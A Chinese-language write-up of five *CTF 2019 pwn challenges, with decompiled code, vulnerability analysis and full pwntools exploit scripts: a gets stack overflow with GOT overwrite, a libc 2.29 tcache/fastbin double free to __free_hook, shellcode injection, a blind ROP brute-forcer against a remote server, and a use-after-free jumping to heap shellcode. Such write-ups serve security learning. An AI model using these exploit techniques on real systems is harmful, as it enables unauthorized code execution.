*CTF 2019 PWN

最后还是抽时间打了这场CTF,solo失败,丢了3个PWN,做了前5个,比较简单,剩下的三个通过解题人数看比较有难度,应该不是一两个小时能解决的,遂放弃不看,选择复习今天的信息论考试
My Solve:
My Solve

0x01 quicksort

Analyze

程序流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
unsigned int main_func()
{
int *v0; // ebx
char s; // [esp+Ch] [ebp-2Ch]
char v3; // [esp+Dh] [ebp-2Bh]
char v4; // [esp+Eh] [ebp-2Ah]
char v5; // [esp+Fh] [ebp-29h]
char v6; // [esp+10h] [ebp-28h]
char v7; // [esp+11h] [ebp-27h]
char v8; // [esp+12h] [ebp-26h]
char v9; // [esp+13h] [ebp-25h]
char v10; // [esp+14h] [ebp-24h]
char v11; // [esp+15h] [ebp-23h]
char v12; // [esp+16h] [ebp-22h]
char v13; // [esp+17h] [ebp-21h]
char v14; // [esp+18h] [ebp-20h]
char v15; // [esp+19h] [ebp-1Fh]
char v16; // [esp+1Ah] [ebp-1Eh]
char v17; // [esp+1Bh] [ebp-1Dh]
int v18; // [esp+1Ch] [ebp-1Ch]
int i; // [esp+20h] [ebp-18h]
int j; // [esp+24h] [ebp-14h]
void *ptr; // [esp+28h] [ebp-10h]
unsigned int v22; // [esp+2Ch] [ebp-Ch]

v22 = __readgsdword(0x14u);
v3 = 0;
v4 = 0;
v5 = 0;
v6 = 0;
v7 = 0;
v8 = 0;
v9 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
v13 = 0;
v14 = 0;
v15 = 0;
v16 = 0;
v17 = 0;
s = 0;
v18 = 0;
puts("how many numbers do you want to sort?");
__isoc99_scanf("%d", &v18);
getchar();
ptr = malloc(4 * v18);
for ( i = 0; i < v18; ++i )
{
printf("the %dth number:", i + 1);
gets(&s);
v0 = (int *)((char *)ptr + 4 * i);
*v0 = atoi(&s);
}
sort(ptr, 0, v18 - 1);
puts("Here is the result:");
for ( j = 0; j < v18; ++j )
printf("%d ", *((_DWORD *)ptr + j));
puts(&byte_8048AD2);
free(ptr);
return __readgsdword(0x14u) ^ v22;
}

获得多个num,而后进行排序输出
但是获取数字时采用gets,存在栈溢,可以覆盖掉栈中的i和预先分配的堆地址,改到got表即可leak,在leak同时修改free为main_func地址即可再次利用栈溢出,修改另一个got表中函数到system即可get shell,这里注意利用时覆盖i和最开始的数目时的大小问题,利用gets时存在\x00覆盖及时缩小num停止输入以及防止sort时crash

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level="debug"
p=process("./quicksort")
#p=remote("34.92.96.238",10000)
p.sendlineafter("?\n","2")
p.sendlineafter("number:","134514915"+"aaaaaaa"+"\x01\x01\x01\x01"+"\xFF\xFF\xFF\xFF"+"AAAA"+p32(0x804A01C))
p.sendlineafter("number:","134513904"+"aaaaaaa"+"\x01\x01\x01\x01\x02")
p.sendlineafter("number:","134513904"+"aaaaaaa"+"\x01\x01\x01")
p.sendlineafter("number:","134513904"+"aaaaaaa"+"\x01\x01")
p.sendlineafter("number:","134513904"+"aaaaaaa"+"\x06")
puts_addr=0x8048560
p.recvuntil("Here is the result:")
libc=0x100000000+int(p.recvuntil(" "))-0x65b40
print hex(libc)
code=str(libc+0x3ada0-0x100000000).ljust(16," ")
p.sendlineafter("number:",code+"\x01\x01\x01\x01"+"\xFF\xFF\xFF\xFF"+"AAAA"+p32(0x804A038+0x4))
p.sendlineafter("number:","/bin/sh")
#gdb.attach(p)
p.interactive()

0x02 girlfriend

Analyze

使用了libc 2.29,对tcache加入了保护机制
程序漏洞很明显,存在uaf
首先可以直接用过unsortbin来leak libc
无法直接tcache double free,不过很好绕过
直接将tcache填满,构造fastbin double free即可
而后申请到fastbin时覆盖fd指向free hook,最后修改其为system,再free字符为”/bin/sh\x00”堆块即可
Something else:
注意到程序启动方式:

1
2
#!/bin/bash
./lib/ld-2.29.so --library-path ./lib ./chall

lib下放置:

1
ld-2.29.so  libc.so.6(2.29)

学习到了这种调试不同libc版本方法
在exp调试时,不要直接attach,这样attach的是sh脚本
可以选择ps -ef找到sh脚本开启的进程再gdb attach PID调试

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

#context.log_level="debug"
def add(size,note,call="aaaa"):
p.sendlineafter("choice:","1")
p.sendlineafter("name\n",str(size))
p.sendafter("name:\n",note)
p.sendafter("call:\n",call)
def delete(index):
p.sendlineafter("choice:","4")
p.sendlineafter("index:\n",str(index))
def show(index):
p.sendlineafter("choice:","2")
p.sendlineafter("index:\n",str(index))
p.recvuntil("name:\n")
return p.recv(6)
p=process("./pwn")
#p=remote("34.92.96.238",10001)
add(0x500,"aaaa")
add(0x100,"aaaa")
delete(0)
libc_addr=u64(show(0)+'\x00\x00')-0x3b1ca0
print hex(libc_addr)
for i in range(10):
add(0x60,"a"*0x60)
for i in range(10):
delete(i+2)
delete(10)
for i in range(7):
add(0x60,"aaaa")
add(0x60,p64(libc_addr+0x3b38c8-0x13))
add(0x60,p64(libc_addr+0x3b38c8-0x13))
add(0x60,"/bin/sh\x00")
add(0x60,"a"*0x13+p64(libc_addr+0x41c30))
delete(21)
#gdb.attach(p)
p.interactive()

0x03 babyshell

Analyze

这个没啥好说的
直接\x00截断,调shellcode

EXP

1
2
3
4
5
6
7
8
from pwn import *

context.arch="amd64"
p=remote("34.92.37.22",10002)
bypass=asm("push 0") + asm(shellcraft.sh())
#push 0:"j\x00"
p.sendafter("plz:",bypass)
p.interactive()

0x04 blindpwn

Analyze

明显的brop
首先fuzz栈长度(前面几步直接使用hctf脚本):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
def getsize():
i = 1
while 1:
try:
p = remote()
p.recvuntil("pwn!\n")
p.send(i*'a')
data = p.recv()
p.close()
if not data.startswith('Goodbye!'):
return i-1
else:
i+=1
except EOFError:
p.close()
return i-1

size = getsize()
print "size is [%s]"%size
#40

再爆破到main_func(stop_gadget)地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
'''
find a gadget return main function
'''
def get_stop():
addr = 0x400000
f = open('1.txt','w')
while 1:
sleep(0.1)
addr += 1
try:
print hex(addr)
p = remote()
p.recvuntil("pwn!\n")
payload = 'a'*40 + p64(addr)
p.sendline(payload)
data = p.recv()
p.close()
if data.startswith('Welcome'):
print "main funciton-->[%s]"%hex(addr)
pause()
return addr
else:
print 'one success addr : 0x%x'%(addr)
except EOFError as e:
p.close()
log.info("bad :0x%x"%addr)
except:
log.info("can't connect")
addr -= 1

data = get_stop()
print hex(data)
#0x400570

找到一个pop_ret:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
def get_brop_gadget(length,stop_gadget,addr):
try:
p = remote()
p.recvuntil("pwn!\n")
payload = 'a'*length + p64(addr) + p64(0)*6 + p64(stop_gadget) + p64(0)*10
p.sendline(payload)
content = p.recv()
p.close()
print content
if not content.startswith('Welcome'):
return False
return True
except Exception:
p.close()
return False

def check_brop_gadget(length,addr):
try:
p = remote()
p.recvuntil("pwn!\n")
payload = 'a'*length + p64(addr) + 'a'*8*10
p.sendline(payload)
content = p.recv()
p.close()
return False
except Exception:
p.close()
return True

length = 40
stop_gadget = 0x400570
addr = 0x400600
while 1:
print hex(addr)
if get_brop_gadget(length,stop_gadget, addr):
print "possible stop_gadget :0x%x"%addr
if check_brop_gadget(length,addr):
print "success brop gadget:0x%x"%addr
#f.write("success brop gadget :0x%x"%addr + "\n")
break
addr += 1
#0x40077a

紧接着fuzz put_plt时总是失败,初步猜测是不是因为后面实际使用的是write等函数,不过重新用pop_ret fuzz也没出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*

def get_puts(length,rdi_ret,stop_gaddet):
addr = 0x400000
while 1:
print hex(addr)
p = remote('34.92.37.22',10000)
p.recvuntil("pwn!\n")
payload = 'a'*length + p64(rdi_ret) +p64(0x400000)*6+p64(addr) + p64(stop_gadget)
p.sendline(payload)
try:
content = p.recv()
print content
if content.startswith('\x7fELF'):
print 'find puts@plt addr : 0x%x'%addr
return addr
p.close()
addr+=1
except Exception:
p.close()
addr+=1

length = 40
rdi_ret = 0x40077a
stop_gadget = 0x400570
puts = get_puts(length,rdi_ret,stop_gadget)

不过后期开启debug,输出交互信息,发现存在一些地址输出不可见字符,且没有00截断,所以猜测应该不是puts,输出的不可见字符大部分很明显是程序data段信息,还有一些是栈上信息,看到其中有最常见的libc_start_main+0xF0,将这些可以输出不可见字符的地址提取后,发现其中有一个输出栈中数据(包含libc_start_main+0xF0)的可以成功返回,接下来就是leak一遍再返回到one_gadget即可,这里因为总是crash,选择使用pop_ret构造了一下one_gadget的条件(rax=0)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level="debug"
p=remote("34.92.37.22",10000)
main_func=0x400570
pop_ret=0x40077a
p.recvuntil("!\n")
p.send('a'*40+p64(0x4006f6)+p64(main_func))
p.recv(0x48)
libc_addr=u64(p.recv(8))-0x20740-0xf0
one_target=libc_addr+0x45216
p.send("a"*0x28+p64(pop_ret) +p64(0)*6+p64(one_target))
p.interactive()

0x05 upxofcpp

Analyze

程序有壳
upx -d即可脱壳
脱壳后程序保护:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

这是一个c++程序
当新增一个vec时
会首先使用operator new(0x18)申请一个0x20大小的堆,结构为:

1
2
&func_table_list
vec_addr

在调用free和show的时候都会首先判断此索引位置func_table_list偏移8和0x10是否为预先设置的函数,是则正常走流程,否则则调用改变过的函数处理堆块
漏洞点很明显,delete时存在UAF
不过因为free后函数表指针指向堆,这时候利用uaf总会crash
不过也产生了新想法,总是指向堆,选择直接看未脱壳程序的堆块权限:

1
2
3
4
5
......
......
0x7ffff7ffe000 0x7ffff8031000 rwxp 33000 0 [heap]
0x7ffffffde000 0x7ffffffff000 rwxp 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

可写可执行
接下来思路就很明显了:
利用uaf将一个0x20堆块fd指向另一块0x20堆块,此时对应show预定义函数偏移0x10位置即是堆块的fd,为了便于填下shellcode,利用申请一个大堆块造成小堆合并,将第二个0x20改为大堆块,并利用free将其fd指向另一处大堆块,最后一个chunk再次通过合并和重新分配使原本fd指向的prev size变为data域,此时在这里写入shellcode,这样,当show最初堆块时就会最终调用shellcode从而get shell(赛时没想起来,最开始直接在prev size构造一个jmp就可以了,汇编中jmp后的数只是相对当前位置,这样就不需要考虑shellcode长度问题了,这点比赛时候有点犯傻了)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.arch="amd64"
context.log_level="debug"
def alloc(index,size,num):
p.sendlineafter("choice:","1")
p.sendlineafter("Index:",str(index))
p.sendlineafter("Size:",str(size))
numstr=""
for i in num:
numstr=numstr+str(i)+" "
numstr+="-1"
p.sendlineafter("stop:",numstr)
def remove(index):
p.sendlineafter("choice:","2")
p.sendlineafter("index:",str(index))

shell=asm(shellcraft.sh())
shell_num=[0,0,0,0]
for i in range(12):
k=u32(shell[i*4:i*4+4])
if k>0x80000000:
shell_num.append(k-0x100000000)
else:
shell_num.append(k)
#p=process("upxofcpp")
p=remote("34.92.121.149",10000)
alloc(0,16,[1,1,1])
alloc(1,16,[2,2,2])
alloc(2,16,[3,3,3])
remove(1)
remove(0)
remove(2)
alloc(3,3,[])
alloc(4,16,[4,4,4])
alloc(5,16,[5,5,5])
remove(4)
remove(5)
alloc(6,1000,[6,6,6])
alloc(7,10,[7,7,7])
alloc(8,10,[8,8,8])
remove(8)
alloc(9,24,[1,1,1,1])
alloc(10,24,[2,2,2,2])
remove(10)
remove(9)
alloc(11,24,[])
alloc(13,3,[])
alloc(14,3,[])
remove(13)
remove(14)
alloc(12,1000,[7,7,7,7])
alloc(15,30,shell_num)
p.sendlineafter("choice:","4")
p.sendlineafter("index:","0")
#gdb.attach(p)
p.interactive()